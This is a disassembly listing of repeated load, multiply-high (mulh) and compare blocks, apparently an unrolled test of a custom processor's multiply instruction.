8b00: 0d 60 01 03 wh16 r8,0x3
8b04: 10 40 01 08 ld32 r8,r8
8b08: 0d 43 76 04 wl16 r16,0x1ba4
8b0c: 0d 60 02 03 wh16 r16,0x3
8b10: 10 40 02 10 ld32 r16,r16
8b14: 0d 45 95 20 wl16 r9,0x2ca0
8b18: 0d 60 01 23 wh16 r9,0x3
8b1c: 10 40 01 29 ld32 r9,r9
8b20: 00 60 01 10 mulh r8,r16
8b24: 20 70 03 e2 movepc rret,8
8b28: 14 30 dd 3a br 10 <compare>,#al
8b2c: 00 10 00 41 add r2,1
8b30: 0d 41 55 0c wl16 r8,0xaac
8b34: 0d 60 01 03 wh16 r8,0x3
8b38: 10 40 01 08 ld32 r8,r8
8b3c: 0d 43 76 08 wl16 r16,0x1ba8
8b40: 0d 60 02 03 wh16 r16,0x3
8b44: 10 40 02 10 ld32 r16,r16
8b48: 0d 45 95 24 wl16 r9,0x2ca4
8b4c: 0d 60 01 23 wh16 r9,0x3
8b50: 10 40 01 29 ld32 r9,r9
8b54: 00 60 01 10 mulh r8,r16
8b58: 20 70 03 e2 movepc rret,8
8b5c: 14 30 dd 2d br 10 <compare>,#al
8b60: 00 10 00 41 add r2,1
8b64: 0d 41 55 10 wl16 r8,0xab0
8b68: 0d 60 01 03 wh16 r8,0x3
8b6c: 10 40 01 08 ld32 r8,r8
8b70: 0d 43 76 0c wl16 r16,0x1bac
8b74: 0d 60 02 03 wh16 r16,0x3
8b78: 10 40 02 10 ld32 r16,r16
8b7c: 0d 45 95 28 wl16 r9,0x2ca8
8b80: 0d 60 01 23 wh16 r9,0x3
8b84: 10 40 01 29 ld32 r9,r9
8b88: 00 60 01 10 mulh r8,r16
8b8c: 20 70 03 e2 movepc rret,8
8b90: 14 30 dd 20 br 10 <compare>,#al
8b94: 00 10 00 41 add r2,1
8b98: 0d 41 55 14 wl16 r8,0xab4
8b9c: 0d 60 01 03 wh16 r8,0x3
8ba0: 10 40 01 08 ld32 r8,r8
8ba4: 0d 43 76 10 wl16 r16,0x1bb0
8ba8: 0d 60 02 03 wh16 r16,0x3
8bac: 10 40 02 10 ld32 r16,r16
8bb0: 0d 45 95 2c wl16 r9,0x2cac
8bb4: 0d 60 01 23 wh16 r9,0x3
8bb8: 10 40 01 29 ld32 r9,r9
8bbc: 00 60 01 10 mulh r8,r16
8bc0: 20 70 03 e2 movepc rret,8
8bc4: 14 30 dd 13 br 10 <compare>,#al
8bc8: 00 10 00 41 add r2,1
8bcc: 0d 41 55 18 wl16 r8,0xab8
8bd0: 0d 60 01 03 wh16 r8,0x3
8bd4: 10 40 01 08 ld32 r8,r8
8bd8: 0d 43 76 14 wl16 r16,0x1bb4
8bdc: 0d 60 02 03 wh16 r16,0x3
8be0: 10 40 02 10 ld32 r16,r16
8be4: 0d 45 95 30 wl16 r9,0x2cb0
8be8: 0d 60 01 23 wh16 r9,0x3
8bec: 10 40 01 29 ld32 r9,r9
8bf0: 00 60 01 10 mulh r8,r16
8bf4: 20 70 03 e2 movepc rret,8
8bf8: 14 30 dd 06 br 10 <compare>,#al
8bfc: 00 10 00 41 add r2,1
8c00: 0d 41 55 1c wl16 r8,0xabc
8c04: 0d 60 01 03 wh16 r8,0x3
8c08: 10 40 01 08 ld32 r8,r8
8c0c: 0d 43 76 18 wl16 r16,0x1bb8
8c10: 0d 60 02 03 wh16 r16,0x3
8c14: 10 40 02 10 ld32 r16,r16
8c18: 0d 45 95 34 wl16 r9,0x2cb4
8c1c: 0d 60 01 23 wh16 r9,0x3
8c20: 10 40 01 29 ld32 r9,r9
8c24: 00 60 01 10 mulh r8,r16
8c28: 20 70 03 e2 movepc rret,8
8c2c: 14 30 dc f9 br 10 <compare>,#al
8c30: 00 10 00 41 add r2,1
8c34: 0d 41 59 00 wl16 r8,0xac0
8c38: 0d 60 01 03 wh16 r8,0x3
8c3c: 10 40 01 08 ld32 r8,r8
8c40: 0d 43 76 1c wl16 r16,0x1bbc
8c44: 0d 60 02 03 wh16 r16,0x3
8c48: 10 40 02 10 ld32 r16,r16
8c4c: 0d 45 95 38 wl16 r9,0x2cb8
8c50: 0d 60 01 23 wh16 r9,0x3
8c54: 10 40 01 29 ld32 r9,r9
8c58: 00 60 01 10 mulh r8,r16
8c5c: 20 70 03 e2 movepc rret,8
8c60: 14 30 dc ec br 10 <compare>,#al
8c64: 00 10 00 41 add r2,1
8c68: 0d 41 59 04 wl16 r8,0xac4
8c6c: 0d 60 01 03 wh16 r8,0x3
8c70: 10 40 01 08 ld32 r8,r8
8c74: 0d 43 7a 00 wl16 r16,0x1bc0
8c78: 0d 60 02 03 wh16 r16,0x3
8c7c: 10 40 02 10 ld32 r16,r16
8c80: 0d 45 95 3c wl16 r9,0x2cbc
8c84: 0d 60 01 23 wh16 r9,0x3
8c88: 10 40 01 29 ld32 r9,r9
8c8c: 00 60 01 10 mulh r8,r16
8c90: 20 70 03 e2 movepc rret,8
8c94: 14 30 dc df br 10 <compare>,#al
8c98: 00 10 00 41 add r2,1
8c9c: 0d 41 59 08 wl16 r8,0xac8
8ca0: 0d 60 01 03 wh16 r8,0x3
8ca4: 10 40 01 08 ld32 r8,r8
8ca8: 0d 43 7a 04 wl16 r16,0x1bc4
8cac: 0d 60 02 03 wh16 r16,0x3
8cb0: 10 40 02 10 ld32 r16,r16
8cb4: 0d 45 99 20 wl16 r9,0x2cc0
8cb8: 0d 60 01 23 wh16 r9,0x3
8cbc: 10 40 01 29 ld32 r9,r9
8cc0: 00 60 01 10 mulh r8,r16
8cc4: 20 70 03 e2 movepc rret,8
8cc8: 14 30 dc d2 br 10 <compare>,#al
8ccc: 00 10 00 41 add r2,1
8cd0: 0d 41 59 0c wl16 r8,0xacc
8cd4: 0d 60 01 03 wh16 r8,0x3
8cd8: 10 40 01 08 ld32 r8,r8
8cdc: 0d 43 7a 08 wl16 r16,0x1bc8
8ce0: 0d 60 02 03 wh16 r16,0x3
8ce4: 10 40 02 10 ld32 r16,r16
8ce8: 0d 45 99 24 wl16 r9,0x2cc4
8cec: 0d 60 01 23 wh16 r9,0x3
8cf0: 10 40 01 29 ld32 r9,r9
8cf4: 00 60 01 10 mulh r8,r16
8cf8: 20 70 03 e2 movepc rret,8
8cfc: 14 30 dc c5 br 10 <compare>,#al
8d00: 00 10 00 41 add r2,1
8d04: 0d 41 59 10 wl16 r8,0xad0
8d08: 0d 60 01 03 wh16 r8,0x3
8d0c: 10 40 01 08 ld32 r8,r8
8d10: 0d 43 7a 0c wl16 r16,0x1bcc
8d14: 0d 60 02 03 wh16 r16,0x3
8d18: 10 40 02 10 ld32 r16,r16
8d1c: 0d 45 99 28 wl16 r9,0x2cc8
8d20: 0d 60 01 23 wh16 r9,0x3
8d24: 10 40 01 29 ld32 r9,r9
8d28: 00 60 01 10 mulh r8,r16
8d2c: 20 70 03 e2 movepc rret,8
8d30: 14 30 dc b8 br 10 <compare>,#al
8d34: 00 10 00 41 add r2,1
8d38: 0d 41 59 14 wl16 r8,0xad4
8d3c: 0d 60 01 03 wh16 r8,0x3
8d40: 10 40 01 08 ld32 r8,r8
8d44: 0d 43 7a 10 wl16 r16,0x1bd0
8d48: 0d 60 02 03 wh16 r16,0x3
8d4c: 10 40 02 10 ld32 r16,r16
8d50: 0d 45 99 2c wl16 r9,0x2ccc
8d54: 0d 60 01 23 wh16 r9,0x3
8d58: 10 40 01 29 ld32 r9,r9
8d5c: 00 60 01 10 mulh r8,r16
8d60: 20 70 03 e2 movepc rret,8
8d64: 14 30 dc ab br 10 <compare>,#al
8d68: 00 10 00 41 add r2,1
8d6c: 0d 41 59 18 wl16 r8,0xad8
8d70: 0d 60 01 03 wh16 r8,0x3
8d74: 10 40 01 08 ld32 r8,r8
8d78: 0d 43 7a 14 wl16 r16,0x1bd4
8d7c: 0d 60 02 03 wh16 r16,0x3
8d80: 10 40 02 10 ld32 r16,r16
8d84: 0d 45 99 30 wl16 r9,0x2cd0
8d88: 0d 60 01 23 wh16 r9,0x3
8d8c: 10 40 01 29 ld32 r9,r9
8d90: 00 60 01 10 mulh r8,r16
8d94: 20 70 03 e2 movepc rret,8
8d98: 14 30 dc 9e br 10 <compare>,#al
8d9c: 00 10 00 41 add r2,1
8da0: 0d 41 59 1c wl16 r8,0xadc
8da4: 0d 60 01 03 wh16 r8,0x3
8da8: 10 40 01 08 ld32 r8,r8
8dac: 0d 43 7a 18 wl16 r16,0x1bd8
8db0: 0d 60 02 03 wh16 r16,0x3
8db4: 10 40 02 10 ld32 r16,r16
8db8: 0d 45 99 34 wl16 r9,0x2cd4
8dbc: 0d 60 01 23 wh16 r9,0x3
8dc0: 10 40 01 29 ld32 r9,r9
8dc4: 00 60 01 10 mulh r8,r16
8dc8: 20 70 03 e2 movepc rret,8
8dcc: 14 30 dc 91 br 10 <compare>,#al
8dd0: 00 10 00 41 add r2,1
8dd4: 0d 41 5d 00 wl16 r8,0xae0
8dd8: 0d 60 01 03 wh16 r8,0x3
8ddc: 10 40 01 08 ld32 r8,r8
8de0: 0d 43 7a 1c wl16 r16,0x1bdc
8de4: 0d 60 02 03 wh16 r16,0x3
8de8: 10 40 02 10 ld32 r16,r16
8dec: 0d 45 99 38 wl16 r9,0x2cd8
8df0: 0d 60 01 23 wh16 r9,0x3
8df4: 10 40 01 29 ld32 r9,r9
8df8: 00 60 01 10 mulh r8,r16
8dfc: 20 70 03 e2 movepc rret,8
8e00: 14 30 dc 84 br 10 <compare>,#al
8e04: 00 10 00 41 add r2,1
8e08: 0d 41 5d 04 wl16 r8,0xae4
8e0c: 0d 60 01 03 wh16 r8,0x3
8e10: 10 40 01 08 ld32 r8,r8
8e14: 0d 43 7e 00 wl16 r16,0x1be0
8e18: 0d 60 02 03 wh16 r16,0x3
8e1c: 10 40 02 10 ld32 r16,r16
8e20: 0d 45 99 3c wl16 r9,0x2cdc
8e24: 0d 60 01 23 wh16 r9,0x3
8e28: 10 40 01 29 ld32 r9,r9
8e2c: 00 60 01 10 mulh r8,r16
8e30: 20 70 03 e2 movepc rret,8
8e34: 14 30 dc 77 br 10 <compare>,#al
8e38: 00 10 00 41 add r2,1
8e3c: 0d 41 5d 08 wl16 r8,0xae8
8e40: 0d 60 01 03 wh16 r8,0x3
8e44: 10 40 01 08 ld32 r8,r8
8e48: 0d 43 7e 04 wl16 r16,0x1be4
8e4c: 0d 60 02 03 wh16 r16,0x3
8e50: 10 40 02 10 ld32 r16,r16
8e54: 0d 45 9d 20 wl16 r9,0x2ce0
8e58: 0d 60 01 23 wh16 r9,0x3
8e5c: 10 40 01 29 ld32 r9,r9
8e60: 00 60 01 10 mulh r8,r16
8e64: 20 70 03 e2 movepc rret,8
8e68: 14 30 dc 6a br 10 <compare>,#al
8e6c: 00 10 00 41 add r2,1
8e70: 0d 41 5d 0c wl16 r8,0xaec
8e74: 0d 60 01 03 wh16 r8,0x3
8e78: 10 40 01 08 ld32 r8,r8
8e7c: 0d 43 7e 08 wl16 r16,0x1be8
8e80: 0d 60 02 03 wh16 r16,0x3
8e84: 10 40 02 10 ld32 r16,r16
8e88: 0d 45 9d 24 wl16 r9,0x2ce4
8e8c: 0d 60 01 23 wh16 r9,0x3
8e90: 10 40 01 29 ld32 r9,r9
8e94: 00 60 01 10 mulh r8,r16
8e98: 20 70 03 e2 movepc rret,8
8e9c: 14 30 dc 5d br 10 <compare>,#al
8ea0: 00 10 00 41 add r2,1
8ea4: 0d 41 5d 10 wl16 r8,0xaf0
8ea8: 0d 60 01 03 wh16 r8,0x3
8eac: 10 40 01 08 ld32 r8,r8
8eb0: 0d 43 7e 0c wl16 r16,0x1bec
8eb4: 0d 60 02 03 wh16 r16,0x3
8eb8: 10 40 02 10 ld32 r16,r16
8ebc: 0d 45 9d 28 wl16 r9,0x2ce8
8ec0: 0d 60 01 23 wh16 r9,0x3
8ec4: 10 40 01 29 ld32 r9,r9
8ec8: 00 60 01 10 mulh r8,r16
8ecc: 20 70 03 e2 movepc rret,8
8ed0: 14 30 dc 50 br 10 <compare>,#al
8ed4: 00 10 00 41 add r2,1
8ed8: 0d 41 5d 14 wl16 r8,0xaf4
8edc: 0d 60 01 03 wh16 r8,0x3
8ee0: 10 40 01 08 ld32 r8,r8
8ee4: 0d 43 7e 10 wl16 r16,0x1bf0
8ee8: 0d 60 02 03 wh16 r16,0x3
8eec: 10 40 02 10 ld32 r16,r16
8ef0: 0d 45 9d 2c wl16 r9,0x2cec
8ef4: 0d 60 01 23 wh16 r9,0x3
8ef8: 10 40 01 29 ld32 r9,r9
8efc: 00 60 01 10 mulh r8,r16
8f00: 20 70 03 e2 movepc rret,8
8f04: 14 30 dc 43 br 10 <compare>,#al
8f08: 00 10 00 41 add r2,1
8f0c: 0d 41 5d 18 wl16 r8,0xaf8
8f10: 0d 60 01 03 wh16 r8,0x3
8f14: 10 40 01 08 ld32 r8,r8
8f18: 0d 43 7e 14 wl16 r16,0x1bf4
8f1c: 0d 60 02 03 wh16 r16,0x3
8f20: 10 40 02 10 ld32 r16,r16
8f24: 0d 45 9d 30 wl16 r9,0x2cf0
8f28: 0d 60 01 23 wh16 r9,0x3
8f2c: 10 40 01 29 ld32 r9,r9
8f30: 00 60 01 10 mulh r8,r16
8f34: 20 70 03 e2 movepc rret,8
8f38: 14 30 dc 36 br 10 <compare>,#al
8f3c: 00 10 00 41 add r2,1
8f40: 0d 41 5d 1c wl16 r8,0xafc
8f44: 0d 60 01 03 wh16 r8,0x3
8f48: 10 40 01 08 ld32 r8,r8
8f4c: 0d 43 7e 18 wl16 r16,0x1bf8
8f50: 0d 60 02 03 wh16 r16,0x3
8f54: 10 40 02 10 ld32 r16,r16
8f58: 0d 45 9d 34 wl16 r9,0x2cf4
8f5c: 0d 60 01 23 wh16 r9,0x3
8f60: 10 40 01 29 ld32 r9,r9
8f64: 00 60 01 10 mulh r8,r16
8f68: 20 70 03 e2 movepc rret,8
8f6c: 14 30 dc 29 br 10 <compare>,#al
8f70: 00 10 00 41 add r2,1
8f74: 0d 41 61 00 wl16 r8,0xb00
8f78: 0d 60 01 03 wh16 r8,0x3
8f7c: 10 40 01 08 ld32 r8,r8
8f80: 0d 43 7e 1c wl16 r16,0x1bfc
8f84: 0d 60 02 03 wh16 r16,0x3
8f88: 10 40 02 10 ld32 r16,r16
8f8c: 0d 45 9d 38 wl16 r9,0x2cf8
8f90: 0d 60 01 23 wh16 r9,0x3
8f94: 10 40 01 29 ld32 r9,r9
8f98: 00 60 01 10 mulh r8,r16
8f9c: 20 70 03 e2 movepc rret,8
8fa0: 14 30 dc 1c br 10 <compare>,#al
8fa4: 00 10 00 41 add r2,1
8fa8: 0d 41 61 04 wl16 r8,0xb04
8fac: 0d 60 01 03 wh16 r8,0x3
8fb0: 10 40 01 08 ld32 r8,r8
8fb4: 0d 43 82 00 wl16 r16,0x1c00
8fb8: 0d 60 02 03 wh16 r16,0x3
8fbc: 10 40 02 10 ld32 r16,r16
8fc0: 0d 45 9d 3c wl16 r9,0x2cfc
8fc4: 0d 60 01 23 wh16 r9,0x3
8fc8: 10 40 01 29 ld32 r9,r9
8fcc: 00 60 01 10 mulh r8,r16
8fd0: 20 70 03 e2 movepc rret,8
8fd4: 14 30 dc 0f br 10 <compare>,#al
8fd8: 00 10 00 41 add r2,1
8fdc: 0d 41 61 08 wl16 r8,0xb08
8fe0: 0d 60 01 03 wh16 r8,0x3
8fe4: 10 40 01 08 ld32 r8,r8
8fe8: 0d 43 82 04 wl16 r16,0x1c04
8fec: 0d 60 02 03 wh16 r16,0x3
8ff0: 10 40 02 10 ld32 r16,r16
8ff4: 0d 45 a1 20 wl16 r9,0x2d00
8ff8: 0d 60 01 23 wh16 r9,0x3
8ffc: 10 40 01 29 ld32 r9,r9
9000: 00 60 01 10 mulh r8,r16
9004: 20 70 03 e2 movepc rret,8
9008: 14 30 dc 02 br 10 <compare>,#al
900c: 00 10 00 41 add r2,1
9010: 0d 41 61 0c wl16 r8,0xb0c
9014: 0d 60 01 03 wh16 r8,0x3
9018: 10 40 01 08 ld32 r8,r8
901c: 0d 43 82 08 wl16 r16,0x1c08
9020: 0d 60 02 03 wh16 r16,0x3
9024: 10 40 02 10 ld32 r16,r16
9028: 0d 45 a1 24 wl16 r9,0x2d04
902c: 0d 60 01 23 wh16 r9,0x3
9030: 10 40 01 29 ld32 r9,r9
9034: 00 60 01 10 mulh r8,r16
9038: 20 70 03 e2 movepc rret,8
903c: 14 30 db f5 br 10 <compare>,#al
9040: 00 10 00 41 add r2,1
9044: 0d 41 61 10 wl16 r8,0xb10
9048: 0d 60 01 03 wh16 r8,0x3
904c: 10 40 01 08 ld32 r8,r8
9050: 0d 43 82 0c wl16 r16,0x1c0c
9054: 0d 60 02 03 wh16 r16,0x3
9058: 10 40 02 10 ld32 r16,r16
905c: 0d 45 a1 28 wl16 r9,0x2d08
9060: 0d 60 01 23 wh16 r9,0x3
9064: 10 40 01 29 ld32 r9,r9
9068: 00 60 01 10 mulh r8,r16
906c: 20 70 03 e2 movepc rret,8
9070: 14 30 db e8 br 10 <compare>,#al
9074: 00 10 00 41 add r2,1
9078: 0d 41 61 14 wl16 r8,0xb14
907c: 0d 60 01 03 wh16 r8,0x3
9080: 10 40 01 08 ld32 r8,r8
9084: 0d 43 82 10 wl16 r16,0x1c10
9088: 0d 60 02 03 wh16 r16,0x3
908c: 10 40 02 10 ld32 r16,r16
9090: 0d 45 a1 2c wl16 r9,0x2d0c
9094: 0d 60 01 23 wh16 r9,0x3
9098: 10 40 01 29 ld32 r9,r9
909c: 00 60 01 10 mulh r8,r16
90a0: 20 70 03 e2 movepc rret,8
90a4: 14 30 db db br 10 <compare>,#al
90a8: 00 10 00 41 add r2,1
90ac: 0d 41 61 18 wl16 r8,0xb18
90b0: 0d 60 01 03 wh16 r8,0x3
90b4: 10 40 01 08 ld32 r8,r8
90b8: 0d 43 82 14 wl16 r16,0x1c14
90bc: 0d 60 02 03 wh16 r16,0x3
90c0: 10 40 02 10 ld32 r16,r16
90c4: 0d 45 a1 30 wl16 r9,0x2d10
90c8: 0d 60 01 23 wh16 r9,0x3
90cc: 10 40 01 29 ld32 r9,r9
90d0: 00 60 01 10 mulh r8,r16
90d4: 20 70 03 e2 movepc rret,8
90d8: 14 30 db ce br 10 <compare>,#al
90dc: 00 10 00 41 add r2,1
90e0: 0d 41 61 1c wl16 r8,0xb1c
90e4: 0d 60 01 03 wh16 r8,0x3
90e8: 10 40 01 08 ld32 r8,r8
90ec: 0d 43 82 18 wl16 r16,0x1c18
90f0: 0d 60 02 03 wh16 r16,0x3
90f4: 10 40 02 10 ld32 r16,r16
90f8: 0d 45 a1 34 wl16 r9,0x2d14
90fc: 0d 60 01 23 wh16 r9,0x3
9100: 10 40 01 29 ld32 r9,r9
9104: 00 60 01 10 mulh r8,r16
9108: 20 70 03 e2 movepc rret,8
910c: 14 30 db c1 br 10 <compare>,#al
9110: 00 10 00 41 add r2,1
9114: 0d 41 65 00 wl16 r8,0xb20
9118: 0d 60 01 03 wh16 r8,0x3
911c: 10 40 01 08 ld32 r8,r8
9120: 0d 43 82 1c wl16 r16,0x1c1c
9124: 0d 60 02 03 wh16 r16,0x3
9128: 10 40 02 10 ld32 r16,r16
912c: 0d 45 a1 38 wl16 r9,0x2d18
9130: 0d 60 01 23 wh16 r9,0x3
9134: 10 40 01 29 ld32 r9,r9
9138: 00 60 01 10 mulh r8,r16
913c: 20 70 03 e2 movepc rret,8
9140: 14 30 db b4 br 10 <compare>,#al
9144: 00 10 00 41 add r2,1
9148: 0d 41 65 04 wl16 r8,0xb24
914c: 0d 60 01 03 wh16 r8,0x3
9150: 10 40 01 08 ld32 r8,r8
9154: 0d 43 86 00 wl16 r16,0x1c20
9158: 0d 60 02 03 wh16 r16,0x3
915c: 10 40 02 10 ld32 r16,r16
9160: 0d 45 a1 3c wl16 r9,0x2d1c
9164: 0d 60 01 23 wh16 r9,0x3
9168: 10 40 01 29 ld32 r9,r9
916c: 00 60 01 10 mulh r8,r16
9170: 20 70 03 e2 movepc rret,8
9174: 14 30 db a7 br 10 <compare>,#al
9178: 00 10 00 41 add r2,1
917c: 0d 41 65 08 wl16 r8,0xb28
9180: 0d 60 01 03 wh16 r8,0x3
9184: 10 40 01 08 ld32 r8,r8
9188: 0d 43 86 04 wl16 r16,0x1c24
918c: 0d 60 02 03 wh16 r16,0x3
9190: 10 40 02 10 ld32 r16,r16
9194: 0d 45 a5 20 wl16 r9,0x2d20
9198: 0d 60 01 23 wh16 r9,0x3
919c: 10 40 01 29 ld32 r9,r9
91a0: 00 60 01 10 mulh r8,r16
91a4: 20 70 03 e2 movepc rret,8
91a8: 14 30 db 9a br 10 <compare>,#al
91ac: 00 10 00 41 add r2,1
91b0: 0d 41 65 0c wl16 r8,0xb2c
91b4: 0d 60 01 03 wh16 r8,0x3
91b8: 10 40 01 08 ld32 r8,r8
91bc: 0d 43 86 08 wl16 r16,0x1c28
91c0: 0d 60 02 03 wh16 r16,0x3
91c4: 10 40 02 10 ld32 r16,r16
91c8: 0d 45 a5 24 wl16 r9,0x2d24
91cc: 0d 60 01 23 wh16 r9,0x3
91d0: 10 40 01 29 ld32 r9,r9
91d4: 00 60 01 10 mulh r8,r16
91d8: 20 70 03 e2 movepc rret,8
91dc: 14 30 db 8d br 10 <compare>,#al
91e0: 00 10 00 41 add r2,1
91e4: 0d 41 65 10 wl16 r8,0xb30
91e8: 0d 60 01 03 wh16 r8,0x3
91ec: 10 40 01 08 ld32 r8,r8
91f0: 0d 43 86 0c wl16 r16,0x1c2c
91f4: 0d 60 02 03 wh16 r16,0x3
91f8: 10 40 02 10 ld32 r16,r16
91fc: 0d 45 a5 28 wl16 r9,0x2d28
9200: 0d 60 01 23 wh16 r9,0x3
9204: 10 40 01 29 ld32 r9,r9
9208: 00 60 01 10 mulh r8,r16
920c: 20 70 03 e2 movepc rret,8
9210: 14 30 db 80 br 10 <compare>,#al
9214: 00 10 00 41 add r2,1
9218: 0d 41 65 14 wl16 r8,0xb34
921c: 0d 60 01 03 wh16 r8,0x3
9220: 10 40 01 08 ld32 r8,r8
9224: 0d 43 86 10 wl16 r16,0x1c30
9228: 0d 60 02 03 wh16 r16,0x3
922c: 10 40 02 10 ld32 r16,r16
9230: 0d 45 a5 2c wl16 r9,0x2d2c
9234: 0d 60 01 23 wh16 r9,0x3
9238: 10 40 01 29 ld32 r9,r9
923c: 00 60 01 10 mulh r8,r16
9240: 20 70 03 e2 movepc rret,8
9244: 14 30 db 73 br 10 <compare>,#al
9248: 00 10 00 41 add r2,1
924c: 0d 41 65 18 wl16 r8,0xb38
9250: 0d 60 01 03 wh16 r8,0x3
9254: 10 40 01 08 ld32 r8,r8
9258: 0d 43 86 14 wl16 r16,0x1c34
925c: 0d 60 02 03 wh16 r16,0x3
9260: 10 40 02 10 ld32 r16,r16
9264: 0d 45 a5 30 wl16 r9,0x2d30
9268: 0d 60 01 23 wh16 r9,0x3
926c: 10 40 01 29 ld32 r9,r9
9270: 00 60 01 10 mulh r8,r16
9274: 20 70 03 e2 movepc rret,8
9278: 14 30 db 66 br 10 <compare>,#al
927c: 00 10 00 41 add r2,1
9280: 0d 41 65 1c wl16 r8,0xb3c
9284: 0d 60 01 03 wh16 r8,0x3
9288: 10 40 01 08 ld32 r8,r8
928c: 0d 43 86 18 wl16 r16,0x1c38
9290: 0d 60 02 03 wh16 r16,0x3
9294: 10 40 02 10 ld32 r16,r16
9298: 0d 45 a5 34 wl16 r9,0x2d34
929c: 0d 60 01 23 wh16 r9,0x3
92a0: 10 40 01 29 ld32 r9,r9
92a4: 00 60 01 10 mulh r8,r16
92a8: 20 70 03 e2 movepc rret,8
92ac: 14 30 db 59 br 10 <compare>,#al
92b0: 00 10 00 41 add r2,1
92b4: 0d 41 69 00 wl16 r8,0xb40
92b8: 0d 60 01 03 wh16 r8,0x3
92bc: 10 40 01 08 ld32 r8,r8
92c0: 0d 43 86 1c wl16 r16,0x1c3c
92c4: 0d 60 02 03 wh16 r16,0x3
92c8: 10 40 02 10 ld32 r16,r16
92cc: 0d 45 a5 38 wl16 r9,0x2d38
92d0: 0d 60 01 23 wh16 r9,0x3
92d4: 10 40 01 29 ld32 r9,r9
92d8: 00 60 01 10 mulh r8,r16
92dc: 20 70 03 e2 movepc rret,8
92e0: 14 30 db 4c br 10 <compare>,#al
92e4: 00 10 00 41 add r2,1
92e8: 0d 41 69 04 wl16 r8,0xb44
92ec: 0d 60 01 03 wh16 r8,0x3
92f0: 10 40 01 08 ld32 r8,r8
92f4: 0d 43 8a 00 wl16 r16,0x1c40
92f8: 0d 60 02 03 wh16 r16,0x3
92fc: 10 40 02 10 ld32 r16,r16
9300: 0d 45 a5 3c wl16 r9,0x2d3c
9304: 0d 60 01 23 wh16 r9,0x3
9308: 10 40 01 29 ld32 r9,r9
930c: 00 60 01 10 mulh r8,r16
9310: 20 70 03 e2 movepc rret,8
9314: 14 30 db 3f br 10 <compare>,#al
9318: 00 10 00 41 add r2,1
931c: 0d 41 69 08 wl16 r8,0xb48
9320: 0d 60 01 03 wh16 r8,0x3
9324: 10 40 01 08 ld32 r8,r8
9328: 0d 43 8a 04 wl16 r16,0x1c44
932c: 0d 60 02 03 wh16 r16,0x3
9330: 10 40 02 10 ld32 r16,r16
9334: 0d 45 a9 20 wl16 r9,0x2d40
9338: 0d 60 01 23 wh16 r9,0x3
933c: 10 40 01 29 ld32 r9,r9
9340: 00 60 01 10 mulh r8,r16
9344: 20 70 03 e2 movepc rret,8
9348: 14 30 db 32 br 10 <compare>,#al
934c: 00 10 00 41 add r2,1
9350: 0d 41 69 0c wl16 r8,0xb4c
9354: 0d 60 01 03 wh16 r8,0x3
9358: 10 40 01 08 ld32 r8,r8
935c: 0d 43 8a 08 wl16 r16,0x1c48
9360: 0d 60 02 03 wh16 r16,0x3
9364: 10 40 02 10 ld32 r16,r16
9368: 0d 45 a9 24 wl16 r9,0x2d44
936c: 0d 60 01 23 wh16 r9,0x3
9370: 10 40 01 29 ld32 r9,r9
9374: 00 60 01 10 mulh r8,r16
9378: 20 70 03 e2 movepc rret,8
937c: 14 30 db 25 br 10 <compare>,#al
9380: 00 10 00 41 add r2,1
9384: 0d 41 69 10 wl16 r8,0xb50
9388: 0d 60 01 03 wh16 r8,0x3
938c: 10 40 01 08 ld32 r8,r8
9390: 0d 43 8a 0c wl16 r16,0x1c4c
9394: 0d 60 02 03 wh16 r16,0x3
9398: 10 40 02 10 ld32 r16,r16
939c: 0d 45 a9 28 wl16 r9,0x2d48
93a0: 0d 60 01 23 wh16 r9,0x3
93a4: 10 40 01 29 ld32 r9,r9
93a8: 00 60 01 10 mulh r8,r16
93ac: 20 70 03 e2 movepc rret,8
93b0: 14 30 db 18 br 10 <compare>,#al
93b4: 00 10 00 41 add r2,1
93b8: 0d 41 69 14 wl16 r8,0xb54
93bc: 0d 60 01 03 wh16 r8,0x3
93c0: 10 40 01 08 ld32 r8,r8
93c4: 0d 43 8a 10 wl16 r16,0x1c50
93c8: 0d 60 02 03 wh16 r16,0x3
93cc: 10 40 02 10 ld32 r16,r16
93d0: 0d 45 a9 2c wl16 r9,0x2d4c
93d4: 0d 60 01 23 wh16 r9,0x3
93d8: 10 40 01 29 ld32 r9,r9
93dc: 00 60 01 10 mulh r8,r16
93e0: 20 70 03 e2 movepc rret,8
93e4: 14 30 db 0b br 10 <compare>,#al
93e8: 00 10 00 41 add r2,1
93ec: 0d 41 69 18 wl16 r8,0xb58
93f0: 0d 60 01 03 wh16 r8,0x3
93f4: 10 40 01 08 ld32 r8,r8
93f8: 0d 43 8a 14 wl16 r16,0x1c54
93fc: 0d 60 02 03 wh16 r16,0x3
9400: 10 40 02 10 ld32 r16,r16
9404: 0d 45 a9 30 wl16 r9,0x2d50
9408: 0d 60 01 23 wh16 r9,0x3
940c: 10 40 01 29 ld32 r9,r9
9410: 00 60 01 10 mulh r8,r16
9414: 20 70 03 e2 movepc rret,8
9418: 14 30 da fe br 10 <compare>,#al
941c: 00 10 00 41 add r2,1
9420: 0d 41 69 1c wl16 r8,0xb5c
9424: 0d 60 01 03 wh16 r8,0x3
9428: 10 40 01 08 ld32 r8,r8
942c: 0d 43 8a 18 wl16 r16,0x1c58
9430: 0d 60 02 03 wh16 r16,0x3
9434: 10 40 02 10 ld32 r16,r16
9438: 0d 45 a9 34 wl16 r9,0x2d54
943c: 0d 60 01 23 wh16 r9,0x3
9440: 10 40 01 29 ld32 r9,r9
9444: 00 60 01 10 mulh r8,r16
9448: 20 70 03 e2 movepc rret,8
944c: 14 30 da f1 br 10 <compare>,#al
9450: 00 10 00 41 add r2,1
9454: 0d 41 6d 00 wl16 r8,0xb60
9458: 0d 60 01 03 wh16 r8,0x3
945c: 10 40 01 08 ld32 r8,r8
9460: 0d 43 8a 1c wl16 r16,0x1c5c
9464: 0d 60 02 03 wh16 r16,0x3
9468: 10 40 02 10 ld32 r16,r16
946c: 0d 45 a9 38 wl16 r9,0x2d58
9470: 0d 60 01 23 wh16 r9,0x3
9474: 10 40 01 29 ld32 r9,r9
9478: 00 60 01 10 mulh r8,r16
947c: 20 70 03 e2 movepc rret,8
9480: 14 30 da e4 br 10 <compare>,#al
9484: 00 10 00 41 add r2,1
9488: 0d 41 6d 04 wl16 r8,0xb64
948c: 0d 60 01 03 wh16 r8,0x3
9490: 10 40 01 08 ld32 r8,r8
9494: 0d 43 8e 00 wl16 r16,0x1c60
9498: 0d 60 02 03 wh16 r16,0x3
949c: 10 40 02 10 ld32 r16,r16
94a0: 0d 45 a9 3c wl16 r9,0x2d5c
94a4: 0d 60 01 23 wh16 r9,0x3
94a8: 10 40 01 29 ld32 r9,r9
94ac: 00 60 01 10 mulh r8,r16
94b0: 20 70 03 e2 movepc rret,8
